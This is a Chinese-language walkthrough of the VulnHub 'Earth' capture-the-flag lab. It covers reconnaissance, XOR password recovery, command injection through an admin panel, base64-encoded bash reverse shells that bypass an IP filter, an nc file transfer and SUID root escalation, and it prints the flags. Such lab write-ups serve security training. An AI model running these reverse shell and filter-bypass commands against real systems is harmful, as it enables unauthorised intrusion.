1.Earth下载安装
下载地址:
https://www.vulnhub.com/entry/the-planets-earth,755/
选择镜像文件进行下载,下载后解压是一个ova文件,在虚拟机中选择打开虚拟机,选择此文件,然后修改系统网卡为NAT,在高级选项中注意网卡的MAC地址,方便后续查出本机IP。
2.文件信息
MD5 :7577F9CB54D024FD2283C998BCC8C173
SHA1 :6476ACC056C32E09377B5403126FB0B34DBEA0A7
目标
此靶场共有2个flag,user_flag及root_flag。
最终flag信息如下:
user_flag:user_flag_3353b67d6437f07ba7d34afd7d2fc27d
root_flag:root_flag_b0da9554d29db2117b02aa8b66ec492e
渗透测试步骤
1.信息收集
获取靶机IP地址,发现该靶场IP地址为192.168.241.190。
nmap -sP 192.168.241.0/24
2.端口扫描
通过nmap扫描,发现开放443、22、80端口,并探测出相关版本信息。
nmap -sV -v -T4 192.168.241.190
同时发现DNS解析,DNS:earth.local, DNS:terratest.earth.local
将DNS解析写入本机hosts文件。
Windows和Linux的hosts文件地址分别如下:
Windows: C:WindowsSystem32driversetchosts
Linux: /etc/hosts
通过IP访问,发现访问失败,使用域名进行访问。同时发现,http和https访问均是以下内容。
https://earth.local/
https://terratest.earth.local/
3.目录扫描
使用dirsearch进行扫描。
3.1.发现登录页
3.2.发现其他文件地址信息
经过测试,后缀改为txt文件即可访问。
https://terratest.earth.local/testingnotes.txt
翻译后得知:
安全消息系统测试记录:
使用 XOR 加密算法,鉴于其在 RSA 中的应用,应该是安全的。
地球方面已确认收到我们发送的消息。
使用 testdata.txt 测试加密。
terra 用作管理员门户的用户名。
待办事项:
我们如何将每月的密钥安全地发送给地球?或者是否应该每周更换密钥?
需要测试不同的密钥长度以防止暴力破解。密钥长度应该设置多长?
需要改进消息界面和管理员面板,目前界面非常简单。
3.3.发现testdata.txt页面
翻译后得知:
根据放射性测年估算和其他证据,地球形成于超过45亿年前。在地球历史的前十亿年,生命出现在海洋中,并开始影响地球的大气和表面,导致厌氧生物和后来有氧生物的繁衍。一些地质证据表明,生命可能早在41亿年前就已经出现。
4.获取用户名及密码
访问https://terratest.earth.local/testingnotes.txt地址后,可以确定用户名为terra,加密方式为XOR加密算法。对访问页内容进行解码,并将结果转换成字符串形式。
import binascii
def xor_encrypt_decrypt(entry_str, pass_txt):
# 将pass_txt转换成16进制
pass_txt_16 = binascii.hexlify(pass_txt.encode('utf-8')).decode('utf-8')
# 对entry_str和pass_txt_16进行xor运算
result = hex(int(entry_str, 16) ^ int(pass_txt_16, 16))[2:]
# 将xor运算结果转换回字符串
try:
datatext = binascii.unhexlify(result).decode('utf-8')
except (binascii.Error, UnicodeDecodeError):
datatext = "Error decoding result"
return datatext
# 输入
# 16进制格式的加密文本
entry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
# 密钥
pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
# 进行加密或解密操作
datatext = xor_encrypt_decrypt(entry_str, pass_txt)
print(datatext)
可以得到:
E:Python111venvScriptspython.exe E:/Python111/111.py
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat
进程已结束,退出代码 0
可以发现输出结果为earthclimatechangebad4humans重复输出。
将此结果作为密码,尝试登录。
登录成功,页面为管理员命令工具,输入命令并提交可进行回显。
5.获取user_flag
使用命令,查找当前权限下所有带flag名称的文件。
find / -type f -name "*flag*"
发现在/var/earth_web/user_flag.txt有本次flag文件信息。
查看user_flag.txt获取当前flag。
6.反弹shell获取连接
执行以下命令,发现失败,禁止远程连接。
bash -i >& /dev/tcp/192.168.241.138/6547 0>&1
尝试使用base64编码,还是失败。
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMzgvNDU2NyAwPiYx}|{base64,-d}|{bash,-i}'
经过查看nmap扫描信息,发现网站使用mod_wsgi及python 3.9,说明过滤机制使用pyhton进行编写。
根据报错信息,使用find命令查找该文件目录。
find / -name "*.py" -type f |xargs grep "Remote connections are forbidden"
查看该文件内容。
cat /var/earth_web/secure_message/forms.py
将代码复制出来,调整代码格式。
import re
from ipaddress import ip_address
from django import forms
from django.core.exceptions import ValidationError
from .models import EncryptedMessage
class MessageForm(forms.ModelForm):
message_key = forms.CharField(max_length=50)
class Meta:
model = EncryptedMessage
fields = ['message']
class CLICommandField(forms.CharField):
def validate(self, value):
super().validate(value)
for potential_ip in re.findall(r'd{1,3}.d{1,3}.d{1,3}.d{1,3}', value):
try:
ip_address(potential_ip)
except:
pass
else:
raise ValidationError('Remote connections are forbidden.')
class CLIForm(forms.Form):
cli_command = CLICommandField(label='CLI command', max_length=100)
发现代码将验证用户输入的命令是否包含 IP 地址,如果有 IP 地址,阻止提交,并给出错误提示。将IP地址信息进行编码提交。
┌──(root㉿kali)-[~]
└─
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMzgvOTk4OCAwPiYxCg==
提交信息为:
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMzgvOTk4OCAwPiYxCg" |base64 -d |bash
命令解释:
管道符"|"左边命令的输出就会作为管道符右边命令的输入,base64 -d解密,bash用于强制此命令作为脚本运行。
重新提交信息,连接成功。若还是反弹失败,请更换端口再次尝试。
6.1.交互式shell
使用Python创建一个伪终端。
python3 -c "import pty;pty.spawn('/bin/bash')"
6.2.查看当前用户
当前用户为apache。
6.3.查看可执行文件
使用命令查看,可执行文件有哪些。
find / -perm -u=s -type f 2>/dev/null
发现/usr/bin/reset_root,查看该文件发现用户名密码。
尝试登录发现登录失败
运行该文件,发现会有报错信息。
7.权限提升
7.1.文件导入Kali
//Kali上执行
nc -nlvp 9988 >reset_root
//靶机上执行
nc 192.168.241.138 9988 </usr/bin/reset_root
在靶机上执行:
在kali查看执行文件:
发现打开乱码,安装工具:strace ./reset_root
7.2.查看文件信息
给reset_root文件执行权限,查看文件
┌──(root㉿kali)-[~]
└─# chmod +x reset_root
┌──(root㉿kali)-[~]
└─# strace ./reset_root
execve("./reset_root", ["./reset_root"], 0x7fff23204e80 /* 33 vars */) = 0
brk(NULL) = 0x972000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb95ae6f000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (没有那个文件或目录)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=75727, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 75727, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fb95ae5c000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "177ELF2113��������3�>�1���P~2�����"..., 832) = 832
pread64(3, "6���4���@�������@�������@�������"..., 784, 64) = 784
newfstatat(3, "", {st_mode=S_IFREG|0755, st_size=1933688, ...}, AT_EMPTY_PATH) = 0
pread64(3, "6���4���@�������@�������@�������"..., 784, 64) = 784
mmap(NULL, 1985936, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fb95ac77000
mmap(0x7fb95ac9d000, 1404928, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x26000) = 0x7fb95ac9d000
mmap(0x7fb95adf4000, 348160, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x17d000) = 0x7fb95adf4000
mmap(0x7fb95ae49000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d1000) = 0x7fb95ae49000
mmap(0x7fb95ae4f000, 52624, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fb95ae4f000
close(3) = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb95ac74000
arch_prctl(ARCH_SET_FS, 0x7fb95ac74740) = 0
set_tid_address(0x7fb95ac74a10) = 352672
set_robust_list(0x7fb95ac74a20, 24) = 0
rseq(0x7fb95ac75060, 0x20, 0, 0x53053053) = 0
mprotect(0x7fb95ae49000, 16384, PROT_READ) = 0
mprotect(0x403000, 4096, PROT_READ) = 0
mprotect(0x7fb95aea1000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7fb95ae5c000, 75727) = 0
newfstatat(1, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x2), ...}, AT_EMPTY_PATH) = 0
getrandom("xb7xb8xbfxddxf0x48xdfx56", 8, GRND_NONBLOCK) = 8
brk(NULL) = 0x972000
brk(0x993000) = 0x993000
write(1, "CHECKING IF RESET TRIGGERS PRESE"..., 38CHECKING IF RESET TRIGGERS PRESENT...
) = 38
access("/dev/shm/kHgTFI5G", F_OK) = -1 ENOENT (没有那个文件或目录)
access("/dev/shm/Zw7bV9U5", F_OK) = -1 ENOENT (没有那个文件或目录)
access("/tmp/kcM0Wewe", F_OK) = -1 ENOENT (没有那个文件或目录)
write(1, "RESET FAILED, ALL TRIGGERS ARE N"..., 44RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
) = 44
exit_group(0) = ?
+++ exited with 0 +++
┌──(root㉿kali)-[~]
└─#
发现缺少三个文件。
/dev/shm/kHgTFI5G
/dev/shm/Zw7bV9U5
/tmp/kcM0Wewe
7.3.创建缺少文件
在靶机使用touch命令创建缺少的三个文件。
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
7.4.执行reset_root文件
切换到/usr/bin目录下,运行脚本,切换root用户,并输入密码Earth,成功进入root权限。
7.5.获取root_flag
切换到root用户目录,查看root_flag.txt,即可看到flag值。
原文始发于微信公众号(暗魂攻防实验室):【渗透测试】Earth靶场渗透测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论